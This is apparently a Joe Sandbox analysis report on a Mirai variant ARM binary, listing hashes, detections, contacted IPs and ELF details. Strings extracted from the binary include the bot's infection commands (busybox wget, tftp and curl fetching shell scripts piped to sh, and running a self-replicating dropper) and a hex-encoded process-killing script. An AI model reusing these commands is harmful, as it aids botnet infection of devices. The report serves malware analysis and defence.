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Linux Analysis Report
MwPM17s9Mb.elf

Overview

General Information

Sample name:	MwPM17s9Mb.elf renamed because original name is a hash value
Original sample name:	e34fb8ca6e2aa8d61e98f0c3a3912885.elf
Analysis ID:	1432512
MD5:	e34fb8ca6e2aa8d61e98f0c3a3912885
SHA1:	61e61551e569ddadce402573a169ac28738bb713
SHA256:	8c87b6bf2b2269e7f71f75f3f58bcf11b72be3967ec401e146b042723435b685
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Contains symbols with names commonly found in malware

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432512
Start date and time:	2024-04-27 11:31:58 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	MwPM17s9Mb.elf renamed because original name is a hash value
Original Sample Name:	e34fb8ca6e2aa8d61e98f0c3a3912885.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/103@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/MwPM17s9Mb.elf
PID:	5847
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

MwPM17s9Mb.elf (PID: 5847, Parent: 5772, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/MwPM17s9Mb.elf

MwPM17s9Mb.elf New Fork (PID: 5849, Parent: 5847)

MwPM17s9Mb.elf New Fork (PID: 5851, Parent: 5849)

MwPM17s9Mb.elf New Fork (PID: 5853, Parent: 5849)

MwPM17s9Mb.elf New Fork (PID: 5854, Parent: 5849)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
MwPM17s9Mb.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: MwPM17s9Mb.elf	ReversingLabs: Detection: 55%
Source: MwPM17s9Mb.elf	Virustotal: Detection: 33%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 118.246.155.59
Source: unknown	TCP traffic detected without corresponding DNS query: 114.1.158.82
Source: unknown	TCP traffic detected without corresponding DNS query: 96.191.57.13
Source: unknown	TCP traffic detected without corresponding DNS query: 51.79.52.103
Source: unknown	TCP traffic detected without corresponding DNS query: 126.97.162.5
Source: unknown	TCP traffic detected without corresponding DNS query: 104.219.100.237
Source: unknown	TCP traffic detected without corresponding DNS query: 59.202.150.44
Source: unknown	TCP traffic detected without corresponding DNS query: 126.127.128.71
Source: unknown	TCP traffic detected without corresponding DNS query: 81.139.175.225
Source: unknown	TCP traffic detected without corresponding DNS query: 83.197.75.146
Source: unknown	TCP traffic detected without corresponding DNS query: 162.83.33.121
Source: unknown	TCP traffic detected without corresponding DNS query: 135.108.222.38
Source: unknown	TCP traffic detected without corresponding DNS query: 193.217.79.27
Source: unknown	TCP traffic detected without corresponding DNS query: 12.105.234.251
Source: unknown	TCP traffic detected without corresponding DNS query: 84.122.104.254
Source: unknown	TCP traffic detected without corresponding DNS query: 39.239.50.158
Source: unknown	TCP traffic detected without corresponding DNS query: 89.101.195.35
Source: unknown	TCP traffic detected without corresponding DNS query: 208.155.37.149
Source: unknown	TCP traffic detected without corresponding DNS query: 131.60.198.107
Source: unknown	TCP traffic detected without corresponding DNS query: 172.88.189.103
Source: unknown	TCP traffic detected without corresponding DNS query: 130.101.122.126
Source: unknown	TCP traffic detected without corresponding DNS query: 171.235.41.253
Source: unknown	TCP traffic detected without corresponding DNS query: 125.201.240.52
Source: unknown	TCP traffic detected without corresponding DNS query: 170.229.131.78
Source: unknown	TCP traffic detected without corresponding DNS query: 203.231.53.85
Source: unknown	TCP traffic detected without corresponding DNS query: 145.7.8.202
Source: unknown	TCP traffic detected without corresponding DNS query: 182.89.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 147.24.248.187
Source: unknown	TCP traffic detected without corresponding DNS query: 153.135.221.44
Source: unknown	TCP traffic detected without corresponding DNS query: 199.253.241.82
Source: unknown	TCP traffic detected without corresponding DNS query: 98.215.87.115
Source: unknown	TCP traffic detected without corresponding DNS query: 148.182.98.117
Source: unknown	TCP traffic detected without corresponding DNS query: 74.85.192.225
Source: unknown	TCP traffic detected without corresponding DNS query: 78.230.112.144
Source: unknown	TCP traffic detected without corresponding DNS query: 153.144.77.216
Source: unknown	TCP traffic detected without corresponding DNS query: 182.75.155.134
Source: unknown	TCP traffic detected without corresponding DNS query: 76.149.0.200
Source: unknown	TCP traffic detected without corresponding DNS query: 176.219.81.13
Source: unknown	TCP traffic detected without corresponding DNS query: 56.76.54.202
Source: unknown	TCP traffic detected without corresponding DNS query: 71.144.250.178
Source: unknown	TCP traffic detected without corresponding DNS query: 50.94.254.242
Source: unknown	TCP traffic detected without corresponding DNS query: 29.248.207.84
Source: unknown	TCP traffic detected without corresponding DNS query: 35.230.129.83
Source: unknown	TCP traffic detected without corresponding DNS query: 141.198.227.239
Source: unknown	TCP traffic detected without corresponding DNS query: 70.168.249.248
Source: unknown	TCP traffic detected without corresponding DNS query: 166.221.231.242
Source: unknown	TCP traffic detected without corresponding DNS query: 138.208.11.163
Source: unknown	TCP traffic detected without corresponding DNS query: 193.204.28.67
Source: unknown	TCP traffic detected without corresponding DNS query: 202.100.130.226
Source: unknown	TCP traffic detected without corresponding DNS query: 79.85.14.88

Source: MwPM17s9Mb.elf	String found in binary or memory: http:///curl.sh
Source: MwPM17s9Mb.elf	String found in binary or memory: http:///wget.sh

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_gre.c
Source: ELF static info symbol of initial sample	Name: attack_kill_all
Source: ELF static info symbol of initial sample	Name: attack_ongoing
Source: ELF static info symbol of initial sample	Name: attack_parse
Source: ELF static info symbol of initial sample	Name: attack_start
Source: ELF static info symbol of initial sample	Name: attack_std.c
Source: ELF static info symbol of initial sample	Name: attack_tcp.c
Source: ELF static info symbol of initial sample	Name: attack_udp.c

Source: MwPM17s9Mb.elf	ELF static info symbol of initial sample: __gnu_unwind_execute
Source: MwPM17s9Mb.elf	ELF static info symbol of initial sample: scanner.c
Source: MwPM17s9Mb.elf	ELF static info symbol of initial sample: scanner_init

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5880/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5880/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5870/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5870/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5881/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5881/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5881/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5881/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5871/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5871/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5882/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5882/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5882/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5882/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5872/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5872/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5883/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5883/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5883/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5883/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5873/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5873/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5884/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5884/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5884/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5884/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5874/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5874/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5875/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5875/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5876/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5876/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5877/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5877/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5878/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5878/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5868/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5868/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5879/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5879/cmdline	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5869/maps	Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853)	File opened: /proc/5869/cmdline	Jump to behavior

Source: MwPM17s9Mb.elf, 5847.1.000055847dde8000.000055847df39000.rw-.sdmp, MwPM17s9Mb.elf, 5851.1.000055847dde8000.000055847df16000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: MwPM17s9Mb.elf, 5847.1.000055847dde8000.000055847df39000.rw-.sdmp, MwPM17s9Mb.elf, 5851.1.000055847dde8000.000055847df16000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: MwPM17s9Mb.elf, 5847.1.00007fff9ab75000.00007fff9ab96000.rw-.sdmp, MwPM17s9Mb.elf, 5851.1.00007fff9ab75000.00007fff9ab96000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: MwPM17s9Mb.elf, 5847.1.00007fff9ab75000.00007fff9ab96000.rw-.sdmp, MwPM17s9Mb.elf, 5851.1.00007fff9ab75000.00007fff9ab96000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/MwPM17s9Mb.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/MwPM17s9Mb.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
MwPM17s9Mb.elf	55%	ReversingLabs	Linux.Trojan.Mirai
MwPM17s9Mb.elf	33%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http:///wget.sh	0%	Avira URL Cloud	safe
http:///curl.sh	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	MwPM17s9Mb.elf	false	Avira URL Cloud: safe	low
http:///curl.sh	MwPM17s9Mb.elf	false	Avira URL Cloud: safe	low

IP	Domain	Country	ASN	ASN Name	Malicious
178.45.253.37	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
152.118.73.28	unknown	Indonesia	3382	ERX-JUITA-UINETUniversityofIndonesiaID	false
92.32.235.2	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
218.114.12.112	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
177.142.193.101	unknown	Brazil	28573	CLAROSABR	false
167.35.202.20	unknown	Canada	2665	CDAGOVNCA	false
89.82.103.226	unknown	France	5410	BOUYGTEL-ISPFR	false
81.211.44.40	unknown	Russian Federation	3216	SOVAM-ASRU	false
31.134.85.39	unknown	Ukraine	202103	LANET-RVUA	false
59.59.246.92	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
221.67.220.203	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
140.176.215.14	unknown	United States	15199	WWUUS	false
17.210.83.172	unknown	United States	714	APPLE-ENGINEERINGUS	false
17.186.21.87	unknown	United States	714	APPLE-ENGINEERINGUS	false
108.209.234.241	unknown	United States	7018	ATT-INTERNET4US	false
139.168.218.51	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
159.51.73.55	unknown	Germany	20561	AS20561-INADE	false
36.129.167.101	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
154.234.205.88	unknown	Cote D'ivoire	36974	AFNET-ASCI	false
86.83.49.221	unknown	Netherlands	1136	KPNKPNNationalEU	false
45.114.98.59	unknown	China	134000	GBPSNETWORKS-AS-INGBPSNETWORKSPRIVATELIMITEDIN	false
199.108.10.105	unknown	United States	7018	ATT-INTERNET4US	false
59.64.209.13	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
65.100.95.67	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
43.39.162.84	unknown	Japan	4249	LILLY-ASUS	false
112.9.203.157	unknown	China	24444	CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany	false
60.27.19.210	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
61.204.65.146	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
15.19.83.104	unknown	United States	13979	ATT-IPFRUS	false
109.39.231.178	unknown	Netherlands	15480	VFNL-ASVodafoneNLAutonomousSystemNL	false
97.203.231.2	unknown	United States	6167	CELLCO-PARTUS	false
34.116.216.161	unknown	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
160.142.69.126	unknown	United States	1528	DNIC-AS-01528US	false
214.23.49.139	unknown	United States	300	DNIC-AS-00300US	false
205.37.164.130	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
156.134.195.112	unknown	United States	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
67.69.64.152	unknown	Canada	577	BACOMCA	false
57.199.121.67	unknown	Belgium	2686	ATGS-MMD-ASUS	false
53.207.248.98	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
56.178.179.81	unknown	United States	2686	ATGS-MMD-ASUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
108.209.234.241	X4B62QWyCe.elf	Get hash	malicious	Mirai	Browse
152.118.73.28	botx.arm7.elf	Get hash	malicious	Mirai	Browse
59.59.246.92	qWqFuk3vg3	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELENOR-NEXTELTelenorNorgeASNO	fbW42zYly3.elf	Get hash	malicious	Mirai	Browse	77.17.208.113
	GcOeQTPzrh.elf	Get hash	malicious	Unknown	Browse	88.89.169.78
	dFEcw9JTaO.elf	Get hash	malicious	Mirai	Browse	194.248.0.35
	01EF8hZ6ib.elf	Get hash	malicious	Unknown	Browse	213.142.71.97
	4NnBaAMXoc.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	84.53.35.244
	PHHOjspjmp.exe	Get hash	malicious	CMSBrute	Browse	88.88.79.90
	tw7rloKDkG.elf	Get hash	malicious	Mirai	Browse	134.47.172.96
	ZcOjro0Chh.elf	Get hash	malicious	Mirai	Browse	213.115.153.105
	oVOImRIAaz.elf	Get hash	malicious	Mirai	Browse	62.13.22.215
	NMdpQecbkg.elf	Get hash	malicious	Mirai	Browse	193.212.144.254
GIGAINFRASoftbankBBCorpJP	Kryl6TWwj6.elf	Get hash	malicious	Mirai	Browse	60.71.99.95
	O93vO719Sn.elf	Get hash	malicious	Unknown	Browse	219.51.176.95
	3rU5FsjiS4.elf	Get hash	malicious	Unknown	Browse	126.153.64.219
	FZAuI72f4q.elf	Get hash	malicious	Unknown	Browse	220.4.125.23
	uXUrccWxXO.elf	Get hash	malicious	Unknown	Browse	126.89.139.250
	kiEexlEvM2.elf	Get hash	malicious	Unknown	Browse	126.37.17.212
	RpHVKGndFL.elf	Get hash	malicious	Unknown	Browse	202.234.102.70
	WFdAK6HQgz.elf	Get hash	malicious	Unknown	Browse	126.70.251.89
	d1CFx1lzym.elf	Get hash	malicious	Mirai	Browse	221.78.109.28
	WAuEOdMm6J.elf	Get hash	malicious	Unknown	Browse	219.56.31.40
ROSTELECOM-ASRU	x1b5bmJgLm.elf	Get hash	malicious	Unknown	Browse	95.190.90.82
	3rU5FsjiS4.elf	Get hash	malicious	Unknown	Browse	95.81.253.219
	q5C2tw1Pc6.elf	Get hash	malicious	Mirai	Browse	79.105.67.235
	d1CFx1lzym.elf	Get hash	malicious	Mirai	Browse	31.181.92.109
	WAuEOdMm6J.elf	Get hash	malicious	Unknown	Browse	109.203.211.148
	dFEcw9JTaO.elf	Get hash	malicious	Mirai	Browse	92.126.237.150
	1B7E3FLOXC.elf	Get hash	malicious	Unknown	Browse	31.204.103.162
	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	85.237.62.189
	ZcOjro0Chh.elf	Get hash	malicious	Mirai	Browse	178.69.143.164
	8dToMPcvO1.elf	Get hash	malicious	Mirai	Browse	31.23.191.84
ERX-JUITA-UINETUniversityofIndonesiaID	VsPbNgRHnn.elf	Get hash	malicious	Mirai	Browse	152.118.40.142
	pUQL9ZI8ks.elf	Get hash	malicious	Mirai	Browse	152.118.97.17
	e1F5fNqVip.elf	Get hash	malicious	Mirai	Browse	152.118.97.57
	yNrnPtSD82.elf	Get hash	malicious	Unknown	Browse	152.118.73.29
	0ec12hfowt.elf	Get hash	malicious	Mirai	Browse	152.118.97.56
	huhu.arm5-20240212-0910.elf	Get hash	malicious	Mirai, Okiru	Browse	152.118.24.87
	skyljne.arm5.elf	Get hash	malicious	Mirai	Browse	152.118.97.34
	N7B7a9u4Sa.elf	Get hash	malicious	Mirai	Browse	152.118.12.89
	LbHvaqdfCq.elf	Get hash	malicious	Mirai	Browse	152.118.24.66
	0d1pbS7iS5.elf	Get hash	malicious	Unknown	Browse	152.118.48.84
CLAROSABR	Kryl6TWwj6.elf	Get hash	malicious	Mirai	Browse	201.53.89.71
	spQm3NLQtH.elf	Get hash	malicious	Unknown	Browse	177.181.108.133
	fbW42zYly3.elf	Get hash	malicious	Mirai	Browse	187.255.97.250
	1B7E3FLOXC.elf	Get hash	malicious	Unknown	Browse	187.64.182.6
	01EF8hZ6ib.elf	Get hash	malicious	Unknown	Browse	201.62.120.137
	sQSqM58mvl.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	189.3.202.40
	0tfJECfbEP.elf	Get hash	malicious	Mirai	Browse	179.219.28.175
	WwKYOW4jIg.elf	Get hash	malicious	Mirai	Browse	191.177.0.17
	Hs97Nxxy5u.elf	Get hash	malicious	Mirai	Browse	187.20.94.186
	NMdpQecbkg.elf	Get hash	malicious	Mirai	Browse	177.59.35.78

Process:	/tmp/MwPM17s9Mb.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.1723190736726976
Encrypted:	false
SSDEEP:	3:FVbQ9FQWUT5FFNFkF/VVp3FQWUT5FFNFiiXWY/VVdf/FVLADsVHI1v/VVdf/FVWU:ZDF0/VWDFfXWY/VjmsVot/VOArB/VH
MD5:	5A9E890AD6B6A0AF03686F379799F490
SHA1:	8D760B0AD61DDB8DF80D89425A0DD5CEB67433DA
SHA-256:	FF57B21BEAB825A064F53094A04BD6F0F15BD24A8968906A2692FBCDF85890A2
SHA-512:	772457EA0A8FC113545C9F819FBEE047B9A89E798557AB4519054E29E9BE6D71010B2D61A8CF25DC7D06FE101F9C23A53E1DCF2AFFD2F91A9786F9305FEB834D
Malicious:	false
Reputation:	low
Preview:	8000-18000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-26000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.8976600887869335
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	MwPM17s9Mb.elf
File size:	115'928 bytes
MD5:	e34fb8ca6e2aa8d61e98f0c3a3912885
SHA1:	61e61551e569ddadce402573a169ac28738bb713
SHA256:	8c87b6bf2b2269e7f71f75f3f58bcf11b72be3967ec401e146b042723435b685
SHA512:	166920c2c9bf9196dac8b1ece16bba0c3acec4646ec6bcc9fc0a22937309dc4f0adfc53603138480ff806d25c1223bb97b81d71551358bfd76a3bba3965f3274
SSDEEP:	3072:d8j6uRcWqZq1EEhuZ5hP5qoJnIjn07QM/9A9U:d8j6uuVw1EEhurhPpGn0EM/9L
TLSH:	15B32B47FB40CF43C096177ABA9F824533239754D7EB23079A18ABB43F866AE4E27505
File Content Preview:	.ELF..............(.........4....[......4. ...(........p.....\|...\|..................................(...(...............(...(...(.......4A..............,...,...,...................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	88848
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0xe998	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x16a88	0xea88	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x16a98	0xea98	0x1160	0x0	0x2	A	0	0	4
.ARM.extab	PROGBITS	0x17bf8	0xfbf8	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x17c10	0xfc10	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x1fd28	0xfd28	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x1fd2c	0xfd2c	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x1fd2c	0xfd2c	0x4	0x0	0x3	WA	0	0	4
